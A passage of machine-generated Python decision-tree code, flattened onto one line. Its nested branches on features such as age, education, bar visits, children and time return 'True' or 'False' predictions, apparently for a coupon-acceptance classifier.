obj[6]>0: return 'True' else: return 'True' elif obj[4]>4: return 'False' else: return 'False' else: return 'True' elif obj[8]>0.0: # {"feature": "Education", "instances": 29, "metric_value": 0.4007, "depth": 11} if obj[6]>0: # {"feature": "Direction_same", "instances": 21, "metric_value": 0.3152, "depth": 12} if obj[11]>0: # {"feature": "Age", "instances": 11, "metric_value": 0.1591, "depth": 13} if obj[4]<=1: return 'False' elif obj[4]>1: return 'False' else: return 'False' elif obj[11]<=0: # {"feature": "Age", "instances": 10, "metric_value": 0.4762, "depth": 13} if obj[4]>1: return 'False' elif obj[4]<=1: return 'False' else: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Age", "instances": 8, "metric_value": 0.5, "depth": 12} if obj[4]<=4: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.5, "depth": 13} if obj[11]>0: return 'False' elif obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Age", "instances": 447, "metric_value": 0.4651, "depth": 9} if obj[4]>2: # {"feature": "Bar", "instances": 245, "metric_value": 0.4734, "depth": 10} if obj[8]>0.0: # {"feature": "Restaurant20to50", "instances": 136, "metric_value": 0.4443, "depth": 11} if obj[10]<=1.0: # {"feature": "Education", "instances": 98, "metric_value": 0.415, "depth": 12} if obj[6]>0: # {"feature": "Direction_same", "instances": 63, "metric_value": 0.3764, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[6]<=0: # {"feature": "Direction_same", "instances": 35, "metric_value": 0.4796, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Education", "instances": 38, "metric_value": 0.485, "depth": 12} if obj[6]<=2: # {"feature": "Direction_same", "instances": 24, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[6]>2: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.3937, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[8]<=0.0: # {"feature": "Education", "instances": 109, "metric_value": 0.442, "depth": 11} if obj[6]<=2: # {"feature": "Restaurant20to50", "instances": 95, "metric_value": 0.4642, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 52, "metric_value": 0.4968, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Direction_same", "instances": 43, "metric_value": 0.4208, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[6]>2: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.127, "depth": 12} if obj[11]<=0: # {"feature": "Restaurant20to50", "instances": 9, "metric_value": 0.1975, "depth": 13} if obj[10]<=2.0: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[4]<=2: # {"feature": "Direction_same", "instances": 202, "metric_value": 0.4356, "depth": 10} if obj[11]<=0: # {"feature": "Education", "instances": 117, "metric_value": 0.4614, "depth": 11} if obj[6]<=2: # {"feature": "Restaurant20to50", "instances": 95, "metric_value": 0.4455, "depth": 12} if obj[10]>0.0: # {"feature": "Bar", "instances": 92, "metric_value": 0.4573, "depth": 13} if obj[8]<=2.0: return 'True' elif obj[8]>2.0: return 'False' else: return 'False' elif obj[10]<=0.0: return 'True' else: return 'True' elif obj[6]>2: # {"feature": "Restaurant20to50", "instances": 22, "metric_value": 0.4675, "depth": 12} if obj[10]>0.0: # {"feature": "Bar", "instances": 21, "metric_value": 0.4762, "depth": 13} if obj[8]>0.0: return 'False' elif obj[8]<=0.0: return 'False' else: return 'False' elif obj[10]<=0.0: return 'True' else: return 'True' else: return 'False' elif obj[11]>0: # {"feature": "Bar", "instances": 85, "metric_value": 0.373, "depth": 11} if obj[8]>0.0: # {"feature": "Restaurant20to50", "instances": 46, "metric_value": 0.4193, "depth": 12} if obj[10]>0.0: # {"feature": "Education", "instances": 42, "metric_value": 0.4223, "depth": 13} if obj[6]<=2: return 'True' elif obj[6]>2: return 'False' else: return 'False' elif obj[10]<=0.0: return 'True' else: return 'True' elif obj[8]<=0.0: # {"feature": "Restaurant20to50", "instances": 39, "metric_value": 0.2591, "depth": 12} if obj[10]<=2.0: # {"feature": "Education", "instances": 38, "metric_value": 0.2314, "depth": 13} if obj[6]>0: return 'True' elif obj[6]<=0: return 'True' else: return 'True' elif obj[10]>2.0: return 'False' else: return 'False' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]>3: # {"feature": "Age", "instances": 212, "metric_value": 0.4272, "depth": 8} if obj[4]<=3: # {"feature": "Education", "instances": 139, "metric_value": 0.4453, "depth": 9} if obj[6]>0: # {"feature": "Bar", "instances": 96, "metric_value": 0.4837, "depth": 10} if obj[8]<=2.0: # {"feature": "Restaurant20to50", "instances": 91, "metric_value": 0.4888, "depth": 11} if obj[10]<=1.0: # {"feature": "Children", "instances": 57, "metric_value": 0.4953, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 32, "metric_value": 0.4922, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 25, "metric_value": 0.4992, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[10]>1.0: # {"feature": "Children", "instances": 34, "metric_value": 0.4714, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 20, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.4592, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[8]>2.0: # {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.2, "depth": 11} if obj[10]<=2.0: return 'False' elif obj[10]>2.0: # {"feature": "Children", "instances": 2, "metric_value": 0.0, "depth": 12} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Restaurant20to50", "instances": 43, "metric_value": 0.32, "depth": 10} if obj[10]<=1.0: # {"feature": "Bar", "instances": 26, "metric_value": 0.3671, "depth": 11} if obj[8]<=1.0: # {"feature": "Children", "instances": 22, "metric_value": 0.4227, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 12, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[8]>1.0: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Bar", "instances": 17, "metric_value": 0.1968, "depth": 11} if obj[8]<=1.0: # {"feature": "Children", "instances": 13, "metric_value": 0.1282, "depth": 12} if obj[5]<=0: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2778, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[8]>1.0: # {"feature": "Children", "instances": 4, "metric_value": 0.3333, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[4]>3: # {"feature": "Education", "instances": 73, "metric_value": 0.3305, "depth": 9} if obj[6]<=3: # {"feature": "Restaurant20to50", "instances": 65, "metric_value": 0.3632, "depth": 10} if obj[10]<=2.0: # {"feature": "Bar", "instances": 61, "metric_value": 0.3798, "depth": 11} if obj[8]<=2.0: # {"feature": "Children", "instances": 54, "metric_value": 0.3649, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 27, "metric_value": 0.3841, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 27, "metric_value": 0.3457, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[8]>2.0: # {"feature": "Children", "instances": 7, "metric_value": 0.2286, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: return 'False' else: return 'False' else: return 'True' elif obj[10]>2.0: return 'True' else: return 'True' elif obj[6]>3: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[7]<=1.5272800515844427: # {"feature": "Time", "instances": 255, "metric_value": 0.4244, "depth": 7} if obj[1]>0: # {"feature": "Education", "instances": 180, "metric_value": 0.4477, "depth": 8} if obj[6]<=2: # {"feature": "Restaurant20to50", "instances": 151, "metric_value": 0.4706, "depth": 9} if obj[10]<=2.0: # {"feature": "Bar", "instances": 133, "metric_value": 0.476, "depth": 10} if obj[8]<=0.0: # {"feature": "Age", "instances": 76, "metric_value": 0.4149, "depth": 11} if obj[4]>2: # {"feature": "Children", "instances": 41, "metric_value": 0.3346, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 39, "metric_value": 0.3201, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[4]<=2: # {"feature": "Direction_same", "instances": 35, "metric_value": 0.4515, "depth": 12} if obj[11]<=0: # {"feature": "Children", "instances": 26, "metric_value": 0.4727, "depth": 13} if obj[5]>0: return 'True' elif obj[5]<=0: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Children", "instances": 9, "metric_value": 0.3016, "depth": 13} if obj[5]>0: return 'False' elif obj[5]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[8]>0.0: # {"feature": "Direction_same", "instances": 57, "metric_value": 0.4698, "depth": 11} if obj[11]<=0: # {"feature": "Children", "instances": 41, "metric_value": 0.4345, "depth": 12} if obj[5]<=0: # {"feature": "Age", "instances": 29, "metric_value": 0.4939, "depth": 13} if obj[4]>1: return 'False' elif obj[4]<=1: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Age", "instances": 12, "metric_value": 0.2, "depth": 13} if obj[4]>1: return 'False' elif obj[4]<=1: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Age", "instances": 16, "metric_value": 0.4087, "depth": 12} if obj[4]<=3: # {"feature": "Children", "instances": 9, "metric_value": 0.3444, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[4]>3: # {"feature": "Children", "instances": 7, "metric_value": 0.4286, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[10]>2.0: # {"feature": "Age", "instances": 18, "metric_value": 0.3214, "depth": 10} if obj[4]<=4: # {"feature": "Children", "instances": 13, "metric_value": 0.2051, "depth": 11} if obj[5]<=0: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.3333, "depth": 12} if obj[11]>0: # {"feature": "Bar", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[8]<=1.0: return 'False' else: return 'False' elif obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[4]>4: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.4667, "depth": 11} if obj[11]<=0: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[5]<=0: # {"feature": "Bar", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[8]<=1.0: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[8]<=1.0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[6]>2: # {"feature": "Restaurant20to50", "instances": 29, "metric_value": 0.2436, "depth": 9} if obj[10]>0.0: # {"feature": "Age", "instances": 22, "metric_value": 0.1364, "depth": 10} if obj[4]>0: return 'True' elif obj[4]<=0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.3571, "depth": 11} if obj[11]<=0: # {"feature": "Children", "instances": 7, "metric_value": 0.4082, "depth": 12} if obj[5]<=1: # {"feature": "Bar", "instances": 7, "metric_value": 0.4082, "depth": 13} if obj[8]<=0.0: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: # {"feature": "Age", "instances": 7, "metric_value": 0.4048, "depth": 10} if obj[4]<=1: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.3333, "depth": 11} if obj[11]>0: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[5]<=1: # {"feature": "Bar", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[8]<=1.0: return 'True' else: return 'True' else: return 'True' elif obj[11]<=0: return 'True' else: return 'True' elif obj[4]>1: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[11]<=0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[8]<=0.0: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Direction_same", "instances": 75, "metric_value": 0.3032, "depth": 8} if obj[11]<=0: # {"feature": "Age", "instances": 49, "metric_value": 0.3718, "depth": 9} if obj[4]>1: # {"feature": "Education", "instances": 32, "metric_value": 0.2949, "depth": 10} if obj[6]>0: # {"feature": "Restaurant20to50", "instances": 21, "metric_value": 0.3048, "depth": 11} if obj[10]<=2.0: # {"feature": "Bar", "instances": 20, "metric_value": 0.3059, "depth": 12} if obj[8]<=0.0: # {"feature": "Children", "instances": 17, "metric_value": 0.3588, "depth": 13} if obj[5]>0: return 'True' elif obj[5]<=0: return 'True' else: return 'True' elif obj[8]>0.0: return 'True' else: return 'True' elif obj[10]>2.0: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Bar", "instances": 11, "metric_value": 0.1558, "depth": 11} if obj[8]<=0.0: # {"feature": "Children", "instances": 7, "metric_value": 0.2449, "depth": 12} if obj[5]<=1: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.2449, "depth": 13} if obj[10]<=1.0: return 'True' else: return 'True' else: return 'True' elif obj[8]>0.0: return 'True' else: return 'True' else: return 'True' elif obj[4]<=1: # {"feature": "Restaurant20to50", "instances": 17, "metric_value": 0.2075, "depth": 10} if obj[10]<=1.0: # {"feature": "Education", "instances": 9, "metric_value": 0.1667, "depth": 11} if obj[6]<=0: return 'False' elif obj[6]>0: # {"feature": "Children", "instances": 4, "metric_value": 0.25, "depth": 12} if obj[5]>0: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[8]<=0.0: return 'False' else: return 'False' elif obj[5]<=0: return 'False' else: return 'False' else: return 'False' elif obj[10]>1.0: # {"feature": "Children", "instances": 8, "metric_value": 0.1667, "depth": 11} if obj[5]<=0: return 'True' elif obj[5]>0: # {"feature": "Education", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[6]<=1: # {"feature": "Bar", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[8]<=0.0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[11]>0: # {"feature": "Age", "instances": 26, "metric_value": 0.0513, "depth": 9} if obj[4]<=6: return 'True' elif obj[4]>6: # {"feature": "Education", "instances": 3, "metric_value": 0.3333, "depth": 10} if obj[6]>2: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=0: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[8]<=0.0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=1.0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]<=2: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Age", "instances": 1186, "metric_value": 0.4269, "depth": 6} if obj[4]<=4: # {"feature": "Occupation", "instances": 902, "metric_value": 0.4416, "depth": 7} if obj[7]<=19.215025871277074: # {"feature": "Bar", "instances": 839, "metric_value": 0.4514, "depth": 8} if obj[8]<=1.0: # {"feature": "Restaurant20to50", "instances": 442, "metric_value": 0.4284, "depth": 9} if obj[10]>0.0: # {"feature": "Education", "instances": 389, "metric_value": 0.4434, "depth": 10} if obj[6]>0: # {"feature": "Time", "instances": 301, "metric_value": 0.427, "depth": 11} if obj[1]<=3: # {"feature": "Direction_same", "instances": 239, "metric_value": 0.4395, "depth": 12} if obj[11]<=0: # {"feature": "Children", "instances": 128, "metric_value": 0.4647, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Children", "instances": 111, "metric_value": 0.4061, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' elif obj[1]>3: # {"feature": "Children", "instances": 62, "metric_value": 0.3511, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 36, "metric_value": 0.2778, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 26, "metric_value": 0.4527, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[6]<=0: # {"feature": "Time", "instances": 88, "metric_value": 0.4569, "depth": 11} if obj[1]<=1: # {"feature": "Children", "instances": 47, "metric_value": 0.4875, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 33, "metric_value": 0.4992, "depth": 13} if obj[11]>0: return 'False' elif obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.4589, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' else: return 'False' elif obj[1]>1: # {"feature": "Children", "instances": 41, "metric_value": 0.4131, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 22, "metric_value": 0.3936, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 19, "metric_value": 0.432, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: # {"feature": "Children", "instances": 53, "metric_value": 0.267, "depth": 10} if obj[5]<=0: # {"feature": "Education", "instances": 45, "metric_value": 0.22, "depth": 11} if obj[6]<=0: # {"feature": "Time", "instances": 25, "metric_value": 0.313, "depth": 12} if obj[1]<=3: # {"feature": "Direction_same", "instances": 23, "metric_value": 0.3398, "depth": 13} if obj[11]>0: return 'True' elif obj[11]<=0: return 'True' else: return 'True' elif obj[1]>3: return 'True' else: return 'True' elif obj[6]>0: # {"feature": "Direction_same", "instances": 20, "metric_value": 0.0909, "depth": 12} if obj[11]<=0: # {"feature": "Time", "instances": 11, "metric_value": 0.1515, "depth": 13} if obj[1]<=1: return 'True' elif obj[1]>1: return 'True' else: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Time", "instances": 8, "metric_value": 0.1875, "depth": 11} if obj[1]>1: return 'True' elif obj[1]<=1: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.0, "depth": 12} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' else: return 'False' else: return 'True' else: return 'True' elif obj[8]>1.0: # {"feature": "Children", "instances": 397, "metric_value": 0.4662, "depth": 9} if obj[5]<=0: # {"feature": "Education", "instances": 286, "metric_value": 0.4792, "depth": 10} if obj[6]<=3: # {"feature": "Restaurant20to50", "instances": 268, "metric_value": 0.4734, "depth": 11} if obj[10]>0.0: # {"feature": "Time", "instances": 220, "metric_value": 0.4631, "depth": 12} if obj[1]>0: # {"feature": "Direction_same", "instances": 162, "metric_value": 0.4722, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Direction_same", "instances": 58, "metric_value": 0.4056, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: # {"feature": "Time", "instances": 48, "metric_value": 0.4872, "depth": 12} if obj[1]<=3: # {"feature": "Direction_same", "instances": 39, "metric_value": 0.4962, "depth": 13} if obj[11]>0: return 'False' elif obj[11]<=0: return 'False' else: return 'False' elif obj[1]>3: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[6]>3: # {"feature": "Restaurant20to50", "instances": 18, "metric_value": 0.4444, "depth": 11} if obj[10]>0.0: # {"feature": "Direction_same", "instances": 12, "metric_value": 0.3704, "depth": 12} if obj[11]<=0: # {"feature": "Time", "instances": 9, "metric_value": 0.4333, "depth": 13} if obj[1]<=1: return 'True' elif obj[1]>1: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[10]<=0.0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.3333, "depth": 12} if obj[11]>0: # {"feature": "Time", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[1]<=0: return 'True' elif obj[1]>0: return 'False' else: return 'False' elif obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[5]>0: # {"feature": "Time", "instances": 111, "metric_value": 0.4132, "depth": 10} if obj[1]<=2: # {"feature": "Education", "instances": 78, "metric_value": 0.3605, "depth": 11} if obj[6]>1: # {"feature": "Restaurant20to50", "instances": 50, "metric_value": 0.275, "depth": 12} if obj[10]<=2.0: # {"feature": "Direction_same", "instances": 35, "metric_value": 0.2, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[10]>2.0: # {"feature": "Direction_same", "instances": 15, "metric_value": 0.3889, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[6]<=1: # {"feature": "Restaurant20to50", "instances": 28, "metric_value": 0.4194, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 17, "metric_value": 0.4563, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.2922, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]>2: # {"feature": "Restaurant20to50", "instances": 33, "metric_value": 0.465, "depth": 11} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 17, "metric_value": 0.4843, "depth": 12} if obj[11]<=0: # {"feature": "Education", "instances": 12, "metric_value": 0.4583, "depth": 13} if obj[6]>2: return 'True' elif obj[6]<=2: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Education", "instances": 5, "metric_value": 0.3, "depth": 13} if obj[6]<=2: return 'True' elif obj[6]>2: return 'False' else: return 'False' else: return 'True' elif obj[10]>1.0: # {"feature": "Education", "instances": 16, "metric_value": 0.3875, "depth": 12} if obj[6]<=4: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.3, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[6]>4: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.4, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[7]>19.215025871277074: # {"feature": "Education", "instances": 63, "metric_value": 0.2574, "depth": 8} if obj[6]<=2: # {"feature": "Bar", "instances": 55, "metric_value": 0.2055, "depth": 9} if obj[8]<=2.0: # {"feature": "Time", "instances": 46, "metric_value": 0.1528, "depth": 10} if obj[1]<=3: # {"feature": "Direction_same", "instances": 33, "metric_value": 0.2048, "depth": 11} if obj[11]>0: # {"feature": "Restaurant20to50", "instances": 17, "metric_value": 0.1046, "depth": 12} if obj[10]<=1.0: # {"feature": "Children", "instances": 9, "metric_value": 0.1944, "depth": 13} if obj[5]>0: return 'True' elif obj[5]<=0: return 'True' else: return 'True' elif obj[10]>1.0: return 'True' else: return 'True' elif obj[11]<=0: # {"feature": "Restaurant20to50", "instances": 16, "metric_value": 0.2167, "depth": 12} if obj[10]>0.0: # {"feature": "Children", "instances": 15, "metric_value": 0.2222, "depth": 13} if obj[5]>0: return 'True' elif obj[5]<=0: return 'True' else: return 'True' elif obj[10]<=0.0: return 'False' else: return 'False' else: return 'True' elif obj[1]>3: return 'True' else: return 'True' elif obj[8]>2.0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4, "depth": 10} if obj[11]>0: # {"feature": "Time", "instances": 5, "metric_value": 0.2667, "depth": 11} if obj[1]>0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[10]>1.0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[5]<=0: return 'True' else: return 'True' elif obj[10]<=1.0: return 'True' else: return 'True' elif obj[1]<=0: return 'True' else: return 'True' elif obj[11]<=0: # {"feature": "Time", "instances": 4, "metric_value": 0.3333, "depth": 11} if obj[1]>0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[10]>1.0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[5]<=0: return 'False' else: return 'False' elif obj[10]<=1.0: return 'True' else: return 'True' elif obj[1]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[6]>2: # {"feature": "Time", "instances": 8, "metric_value": 0.3333, "depth": 9} if obj[1]>0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.3333, "depth": 10} if obj[11]<=0: # {"feature": "Children", "instances": 4, "metric_value": 0.5, "depth": 11} if obj[5]<=0: # {"feature": "Bar", "instances": 4, "metric_value": 0.5, "depth": 12} if obj[8]<=1.0: # {"feature": "Restaurant20to50", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[10]<=2.0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[1]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[4]>4: # {"feature": "Education", "instances": 284, "metric_value": 0.3594, "depth": 7} if obj[6]<=0: # {"feature": "Occupation", "instances": 165, "metric_value": 0.3, "depth": 8} if obj[7]<=21: # {"feature": "Time", "instances": 158, "metric_value": 0.2877, "depth": 9} if obj[1]<=3: # {"feature": "Direction_same", "instances": 132, "metric_value": 0.3122, "depth": 10} if obj[11]>0: # {"feature": "Restaurant20to50", "instances": 66, "metric_value": 0.2517, "depth": 11} if obj[10]>0.0: # {"feature": "Children", "instances": 59, "metric_value": 0.2805, "depth": 12} if obj[5]<=0: # {"feature": "Bar", "instances": 58, "metric_value": 0.2853, "depth": 13} if obj[8]<=1.0: return 'True' elif obj[8]>1.0: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[10]<=0.0: return 'True' else: return 'True' elif obj[11]<=0: # {"feature": "Restaurant20to50", "instances": 66, "metric_value": 0.3588, "depth": 11} if obj[10]<=1.0: # {"feature": "Bar", "instances": 49, "metric_value": 0.3222, "depth": 12} if obj[8]<=0.0: # {"feature": "Children", "instances": 30, "metric_value": 0.3578, "depth": 13} if obj[5]<=0: return 'True' else: return 'True' elif obj[8]>0.0: # {"feature": "Children", "instances": 19, "metric_value": 0.2644, "depth": 13} if obj[5]>0: return 'True' elif obj[5]<=0: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Children", "instances": 17, "metric_value": 0.4379, "depth": 12} if obj[5]<=0: # {"feature": "Bar", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[8]>0.0: return 'True' elif obj[8]<=0.0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Bar", "instances": 8, "metric_value": 0.3, "depth": 13} if obj[8]>0.0: return 'True' elif obj[8]<=0.0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]>3: # {"feature": "Bar", "instances": 26, "metric_value": 0.1348, "depth": 10} if obj[8]<=1.0: # {"feature": "Restaurant20to50", "instances": 21, "metric_value": 0.0893, "depth": 11} if obj[10]<=1.0: # {"feature": "Children", "instances": 16, "metric_value": 0.1172, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 16, "metric_value": 0.1172, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: return 'True' else: return 'True' elif obj[8]>1.0: # {"feature": "Children", "instances": 5, "metric_value": 0.2, "depth": 11} if obj[5]<=0: return 'True' elif obj[5]>0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[7]>21: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.4048, "depth": 9} if obj[11]<=0: # {"feature": "Time", "instances": 4, "metric_value": 0.25, "depth": 10} if 